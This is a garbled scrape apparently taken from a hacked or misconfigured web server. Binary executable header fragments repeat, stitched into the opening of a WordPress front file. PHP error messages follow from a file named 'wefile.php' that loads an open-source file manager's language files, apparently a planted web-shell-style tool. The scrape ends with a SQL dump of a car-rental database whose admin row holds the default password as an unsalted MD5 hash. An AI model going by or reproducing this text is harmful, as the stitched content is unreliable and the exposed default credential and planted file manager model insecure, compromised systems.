MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
Warning: Undefined variable $authorization in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36
Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36
Warning: Undefined variable $translation in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97
Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97
Warning: Trying to access array offset on value of type null in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 98
Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ja.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 99
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode.
$ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð "
* º €Ã @ P
Ê¢Ÿ `Á€„ í P äŸ ` # @
t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @
¾
/**
* Front to the WordPress application. This file doesn't do anything, but loads
-- phpMyAdmin SQL Dump
-- version 4.6.6
-- https://www.phpmyadmin.net/
--
-- Host: localhost
-- Generation Time: Mar 26, 2017 at 12:31 PM
-- Server version: 10.1.21-MariaDB
-- PHP Version: 7.1.2
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
SET time_zone = "+00:00";
--
-- Database: `mobil`
--
--
-- Table structure for table `admin`
--
CREATE TABLE `admin` (
`id_admin` int(4) NOT NULL,
`nama` varchar(30) NOT NULL,
`email` varchar(30) NOT NULL,
`alamat` varchar(50) NOT NULL,
`telp` varchar(12) NOT NULL,
`username` varchar(15) NOT NULL,
`password` varchar(32) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Dumping data for table `admin`
--
INSERT INTO `admin` (`id_admin`, `nama`, `email`, `alamat`, `telp`, `username`, `password`) VALUES
(1, 'admin', 'admin@gmail.com', 'jogja', '08123456789', 'admin', '21232f297a57a5a743894a0e4a801fc3');
-- --------------------------------------------------------
--
-- Table structure for table `detail_transaksi`
--
CREATE TABLE `detail_transaksi` (
`id_detail` int(11) NOT NULL,
`id_transaksi` int(11) NOT NULL,
`id_supir` int(11) NOT NULL,
`jasa_supir` int(7) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- --------------------------------------------------------
--
-- Table structure for table `jenis`
--
CREATE TABLE `jenis` (
`id_jenis` int(4) NOT NULL,
`nama` varchar(30) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- --------------------------------------------------------
--
-- Table structure for table `konfirmasi`
--
CREATE TABLE `konfirmasi` (
`id_konfirmasi` int(11) NOT NULL,
`id_transaksi` int(11) NOT NULL,
`bukti` varchar(100) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- --------------------------------------------------------
--
-- Table structure for table `mobil`
--
CREATE TABLE `mobil` (
`id_mobil` int(11) NOT NULL,
`id_jenis` int(4) NOT NULL,
`no_mobil` varchar(10) NOT NULL,
`merk` varchar(20) NOT NULL,
`nama_mobil` varchar(30) NOT NULL,
`gambar` varchar(100) NOT NULL,
`harga` int(7) NOT NULL,
`status` enum('0','1') NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- --------------------------------------------------------
--
-- Table structure for table `pelanggan`
--
CREATE TABLE `pelanggan` (
`id_pelanggan` int(11) NOT NULL,
`no_ktp` char(16) NOT NULL,
`nama` varchar(30) NOT NULL,
`email` varchar(30) NOT NULL,
`no_telp` char(12) NOT NULL,
`alamat` varchar(50) DEFAULT NULL,
`username` varchar(10) NOT NULL,
`password` varchar(32) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- --------------------------------------------------------
--
-- Table structure for table `supir`
--
CREATE TABLE `supir` (
`id_supir` int(11) NOT NULL,
`nama` varchar(30) NOT NULL,
`telp` char(12) NOT NULL,
`alamat` varchar(50) NOT NULL,
`status` enum('0','1') NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
-- --------------------------------------------------------
--
-- Table structure for table `transaksi`
--
CREATE TABLE `transaksi` (
`id_transaksi` int(11) NOT NULL,
`id_pelanggan` int(11) NOT NULL,
`id_mobil` int(11) NOT NULL,
`tgl_sewa` datetime NOT NULL,
`tgl_ambil` datetime DEFAULT NULL,
`tgl_kembali` datetime DEFAULT NULL,
`lama` tinyint(1) NOT NULL,
`total_harga` int(7) NOT NULL,
`status` enum('0','1') NOT NULL,
`jaminan` varchar(30) NOT NULL,
`denda` int(7) DEFAULT '0',
`jatuh_tempo` datetime NOT NULL,
`konfirmasi` enum('0','1') DEFAULT NULL,
`pembatalan` enum('0','1') DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
--
-- Indexes for dumped tables
--
--
-- Indexes for table `admin`
--
ALTER TABLE `admin`
ADD PRIMARY KEY (`id_admin`);
--
-- Indexes for table `detail_transaksi`
--
ALTER TABLE `detail_transaksi`
ADD PRIMARY KEY (`id_detail`),
ADD KEY `fk_transaksi` (`id_transaksi`),
ADD KEY `fk_supir` (`id_supir`);
--
-- Indexes for table `jenis`
--
ALTER TABLE `jenis`
ADD PRIMARY KEY (`id_jenis`);
--
-- Indexes for table `konfirmasi`
--
ALTER TABLE `konfirmasi`
ADD PRIMARY KEY (`id_konfirmasi`),
ADD KEY `fk_transaksi` (`id_transaksi`);
--
-- Indexes for table `mobil`
--
ALTER TABLE `mobil`
ADD PRIMARY KEY (`id_mobil`),
ADD KEY `fk_jenis` (`id_jenis`);
--
-- Indexes for table `pelanggan`
--
ALTER TABLE `pelanggan`
ADD PRIMARY KEY (`id_pelanggan`);
--
-- Indexes for table `supir`
--
ALTER TABLE `supir`
ADD PRIMARY KEY (`id_supir`);
--
-- Indexes for table `transaksi`
--
ALTER TABLE `transaksi`
ADD PRIMARY KEY (`id_transaksi`),
ADD KEY `fk_pelanggan` (`id_pelanggan`),
ADD KEY `fk_mobil` (`id_mobil`);
--
-- AUTO_INCREMENT for dumped tables
--
--
-- AUTO_INCREMENT for table `admin`
--
ALTER TABLE `admin`
MODIFY `id_admin` int(4) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;
--
-- AUTO_INCREMENT for table `detail_transaksi`
--
ALTER TABLE `detail_transaksi`
MODIFY `id_detail` int(11) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `jenis`
--
ALTER TABLE `jenis`
MODIFY `id_jenis` int(4) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `konfirmasi`
--
ALTER TABLE `konfirmasi`
MODIFY `id_konfirmasi` int(11) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `mobil`
--
ALTER TABLE `mobil`
MODIFY `id_mobil` int(11) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `pelanggan`
--
ALTER TABLE `pelanggan`
MODIFY `id_pelanggan` int(11) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `supir`
--
ALTER TABLE `supir`
MODIFY `id_supir` int(11) NOT NULL AUTO_INCREMENT;
--
-- AUTO_INCREMENT for table `transaksi`
--
ALTER TABLE `transaksi`
MODIFY `id_transaksi` int(11) NOT NULL AUTO_INCREMENT;
--
-- Constraints for dumped tables
--
--
-- Constraints for table `detail_transaksi`
--
ALTER TABLE `detail_transaksi`
ADD CONSTRAINT `detail_transaksi_ibfk_1` FOREIGN KEY (`id_transaksi`) REFERENCES `transaksi` (`id_transaksi`) ON DELETE CASCADE ON UPDATE CASCADE,
ADD CONSTRAINT `detail_transaksi_ibfk_3` FOREIGN KEY (`id_supir`) REFERENCES `supir` (`id_supir`) ON DELETE CASCADE ON UPDATE CASCADE;
--
-- Constraints for table `konfirmasi`
--
ALTER TABLE `konfirmasi`
ADD CONSTRAINT `konfirmasi_ibfk_1` FOREIGN KEY (`id_transaksi`) REFERENCES `transaksi` (`id_transaksi`) ON DELETE CASCADE ON UPDATE CASCADE;
--
-- Constraints for table `mobil`
--
ALTER TABLE `mobil`
ADD CONSTRAINT `mobil_ibfk_1` FOREIGN KEY (`id_jenis`) REFERENCES `jenis` (`id_jenis`) ON DELETE CASCADE ON UPDATE CASCADE;
--
-- Constraints for table `transaksi`
--
ALTER TABLE `transaksi`
ADD CONSTRAINT `transaksi_ibfk_1` FOREIGN KEY (`id_pelanggan`) REFERENCES `pelanggan` (`id_pelanggan`) ON DELETE CASCADE ON UPDATE CASCADE,
ADD CONSTRAINT `transaksi_ibfk_2` FOREIGN KEY (`id_mobil`) REFERENCES `mobil` (`id_mobil`) ON DELETE NO ACTION ON UPDATE CASCADE;